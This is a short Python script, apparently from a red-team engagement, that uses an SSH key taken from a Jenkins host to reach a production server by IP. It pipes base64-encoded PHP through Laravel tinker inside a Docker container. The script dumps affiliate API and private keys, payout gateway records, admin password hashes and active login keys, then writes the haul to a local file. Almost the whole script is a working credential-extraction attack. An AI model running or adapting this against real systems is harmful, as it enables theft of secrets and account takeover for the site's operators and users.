#!/usr/bin/env python3
"""Query Yajny production MySQL — extract partner/network/payout credentials + admin users.
"""
import subprocess
import base64
import sys

HOST = "root@46.101.74.150"
KEY = "/root/ir-assessment/redteam/yajny/L3/ssh_keys/jenkins-host-id_rsa.pem"
CONTAINER = "yajny-api"

QUERIES = [
    'echo "===NETWORKS-AFFILIATE-CREDS===";',
    '$nets = DB::select("SELECT id, name, short_name, controller, affiliate_id, api_key, private_key, api_url, type, enabled FROM networks");',
    'foreach($nets as $n) { echo $n->id."|".$n->name."|".$n->short_name."|".$n->controller."|".$n->affiliate_id."|".$n->api_key."|".$n->private_key."|".$n->api_url."|".$n->type."|".$n->enabled."\n"; }',
    'echo "===PAYOUT-GATEWAYS===";',
    '$pg = DB::select("SELECT * FROM payout_gateways");',
    'foreach($pg as $p) { echo json_encode($p)."\n"; }',
    'echo "===PAYOUT-METHODS===";',
    '$pm = DB::select("SELECT * FROM payout_methods");',
    'foreach($pm as $p) { echo json_encode($p)."\n"; }',
    'echo "===TB_USERS-ADMIN===";',
    '$adm = DB::select("SELECT id, group_id, username, password, email, first_name, last_name, active, blocked, last_login FROM tb_users");',
    'foreach($adm as $a) { echo $a->id."|".$a->group_id."|".$a->username."|".$a->password."|".$a->email."|".$a->first_name."|".$a->last_name."|".$a->active."|".$a->blocked."|".$a->last_login."\n"; }',
    'echo "===LOGIN-KEYS-ACTIVE===";',
    '$lk = DB::select("SELECT id, user_id, email, `key`, is_active FROM login_keys WHERE is_active=1");',
    'foreach($lk as $l) { echo $l->id."|".$l->user_id."|".$l->email."|".$l->key."|".$l->is_active."\n"; }',
    'echo "===STORES-COUNT-BY-NETWORK===";',
    '$sc = DB::select("SELECT network_id, COUNT(*) as c FROM stores WHERE status=\"publish\" GROUP BY network_id");',
    'foreach($sc as $s) { echo $s->network_id.": ".$s->c."\n"; }',
    'echo "===STORES-SAMPLE-TOP-10===";',
    '$st = DB::select("SELECT id, slug, domain_name, network_id, cashback_percent, clicks, visits, status FROM stores ORDER BY clicks DESC LIMIT 10");',
    'foreach($st as $s) { echo $s->id."|".$s->slug."|".$s->domain_name."|".$s->network_id."|".$s->cashback_percent."|".$s->clicks."|".$s->visits."|".$s->status."\n"; }',
    'exit;',
]

def run_tinker(queries):
    code = "\n".join(queries)
    b64 = base64.b64encode(code.encode()).decode()
    cmd = [
        "ssh", "-i", KEY, "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=accept-new",
        HOST,
        f'echo {b64} | base64 -d | docker exec -i {CONTAINER} php /var/www/html/artisan tinker 2>&1'
    ]
    r = subprocess.run(cmd, capture_output=True, text=True, timeout=120)
    return r.stdout, r.stderr, r.returncode

if __name__ == "__main__":
    out, err, rc = run_tinker(QUERIES)
    print(out)
    with open("/root/ir-assessment/redteam/yajny/L3/db_creds_extract.txt", "w") as f:
        f.write(out)
    if rc != 0 and not out:
        print(f"[!] rc={rc}", file=sys.stderr)
        print(err, file=sys.stderr)